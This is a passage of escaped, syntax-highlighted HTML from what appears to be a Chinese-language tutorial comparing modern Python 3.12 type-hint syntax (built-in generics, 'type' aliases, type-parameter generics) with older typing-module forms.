&lt;/span&gt;&lt;span class="lnt"&gt;5
&lt;/span&gt;&lt;span class="lnt"&gt;6
&lt;/span&gt;&lt;span class="lnt"&gt;7
&lt;/span&gt;&lt;span class="lnt"&gt;8
&lt;/span&gt;&lt;span class="lnt"&gt;9
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;process_data&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;items&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;list&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;mapping&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;dict&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;set&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;get_coordinates&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;tuple&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;float&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;float&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 嵌套集合类型&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;get_user_groups&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;dict&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;list&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;dict&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;]]]:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;旧写法:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1
&lt;/span&gt;&lt;span class="lnt"&gt; 2
&lt;/span&gt;&lt;span class="lnt"&gt; 3
&lt;/span&gt;&lt;span class="lnt"&gt; 4
&lt;/span&gt;&lt;span class="lnt"&gt; 5
&lt;/span&gt;&lt;span class="lnt"&gt; 6
&lt;/span&gt;&lt;span class="lnt"&gt; 7
&lt;/span&gt;&lt;span class="lnt"&gt; 8
&lt;/span&gt;&lt;span class="lnt"&gt; 9
&lt;/span&gt;&lt;span class="lnt"&gt;10
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;typing&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;List&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Dict&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Set&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Tuple&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;process_data_old&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;items&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;List&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;mapping&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Dict&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;Set&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;get_coordinates_old&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;Tuple&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;float&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;float&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;get_user_groups_old&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;Dict&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;List&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Dict&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;]]]:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h4 id="类型别名"&gt;类型别名
&lt;/h4&gt;&lt;p&gt;现代(3.12+): 使用&lt;code&gt;type&lt;/code&gt;语句定义类型别名&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;span class="lnt"&gt;5
&lt;/span&gt;&lt;span class="lnt"&gt;6
&lt;/span&gt;&lt;span class="lnt"&gt;7
&lt;/span&gt;&lt;span class="lnt"&gt;8
&lt;/span&gt;&lt;span class="lnt"&gt;9
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;type&lt;/span&gt; &lt;span class="n"&gt;UserId&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;type&lt;/span&gt; &lt;span class="n"&gt;UserData&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;dict&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;type&lt;/span&gt; &lt;span class="n"&gt;UserList&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;list&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;UserData&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;get_user&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;uid&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;UserId&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;UserData&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;get_all_users&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;UserList&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;旧写法:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1
&lt;/span&gt;&lt;span class="lnt"&gt; 2
&lt;/span&gt;&lt;span class="lnt"&gt; 3
&lt;/span&gt;&lt;span class="lnt"&gt; 4
&lt;/span&gt;&lt;span class="lnt"&gt; 5
&lt;/span&gt;&lt;span class="lnt"&gt; 6
&lt;/span&gt;&lt;span class="lnt"&gt; 7
&lt;/span&gt;&lt;span class="lnt"&gt; 8
&lt;/span&gt;&lt;span class="lnt"&gt; 9
&lt;/span&gt;&lt;span class="lnt"&gt;10
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;typing&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;TypeAlias&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;UserId&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;TypeAlias&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;UserData&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;TypeAlias&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;dict&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;UserList&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;TypeAlias&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;list&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;UserData&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 或者更老的写法&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;UserId&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;UserData&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;dict&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;UserList&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;list&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;UserData&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h4 id="泛型"&gt;泛型
&lt;/h4&gt;&lt;p&gt;现代(3.12+): 使用类型参数语法&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1
&lt;/span&gt;&lt;span class="lnt"&gt; 2
&lt;/span&gt;&lt;span class="lnt"&gt; 3
&lt;/span&gt;&lt;span class="lnt"&gt; 4
&lt;/span&gt;&lt;span class="lnt"&gt; 5
&lt;/span&gt;&lt;span class="lnt"&gt; 6
&lt;/span&gt;&lt;span class="lnt"&gt; 7
&lt;/span&gt;&lt;span class="lnt"&gt; 8
&lt;/span&gt;&lt;span class="lnt"&gt; 9
&lt;/span&gt;&lt;span class="lnt"&gt;10
&lt;/span&gt;&lt;span class="lnt"&gt;11
&lt;/span&gt;&lt;span class="lnt"&gt;12
&lt;/span&gt;&lt;span class="lnt"&gt;13
&lt;/span&gt;&lt;span class="lnt"&gt;14
&lt;/span&gt;&lt;span class="lnt"&gt;15
&lt;/span&gt;&lt;span class="lnt"&gt;16
&lt;/span&gt;&lt;span class="lnt"&gt;17
&lt;/span&gt;&lt;span class="lnt"&gt;18
&lt;/span&gt;&lt;span class="lnt"&gt;19
&lt;/span&gt;&lt;span class="lnt"&gt;20
&lt;/span&gt;&lt;span class="lnt"&gt;21
&lt;/span&gt;&lt;span class="lnt"&gt;22
&lt;/span&gt;&lt;span class="lnt"&gt;23
&lt;/span&gt;&lt;span class="lnt"&gt;24
&lt;/span&gt;&lt;span class="lnt"&gt;25
&lt;/span&gt;&lt;span class="lnt"&gt;26
&lt;/span&gt;&lt;span class="lnt"&gt;27
&lt;/span&gt;&lt;span class="lnt"&gt;28
&lt;/span&gt;&lt;span class="lnt"&gt;29
&lt;/span&gt;&lt;span class="lnt"&gt;30
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 泛型函数&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 直接在函数名后用方括号定义类型变量&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;get_first&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;T&lt;/span&gt;&lt;span class="p"&gt;](&lt;/span&gt;&lt;span class="n"&gt;elements&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;list&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;T&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;T&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;elements&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;elements&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 可以对类型变量进行约束&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;type&lt;/span&gt; &lt;span class="n"&gt;Number&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="nb"&gt;float&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;N&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Number&lt;/span&gt;&lt;span class="p"&gt;](&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;N&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;N&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;N&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="c1"&gt;# 约束 N 必须是 Number 的子类型&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 泛型类&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 新写法：直接在类名后用方括号定义类型变量&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Box&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;T&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="fm"&gt;__init__&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;content&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;T&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;content&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;content&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;get_content&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;T&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;content&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 使用泛型类&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;int_box&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Box&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Box&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;123&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;str_box&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Box&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Box&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;hello&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 泛型类型别名&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 新写法：在别名定义中使用方括号&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;type&lt;/span&gt; &lt;span class="n"&gt;ListOrNone&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;T&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;list&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;T&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
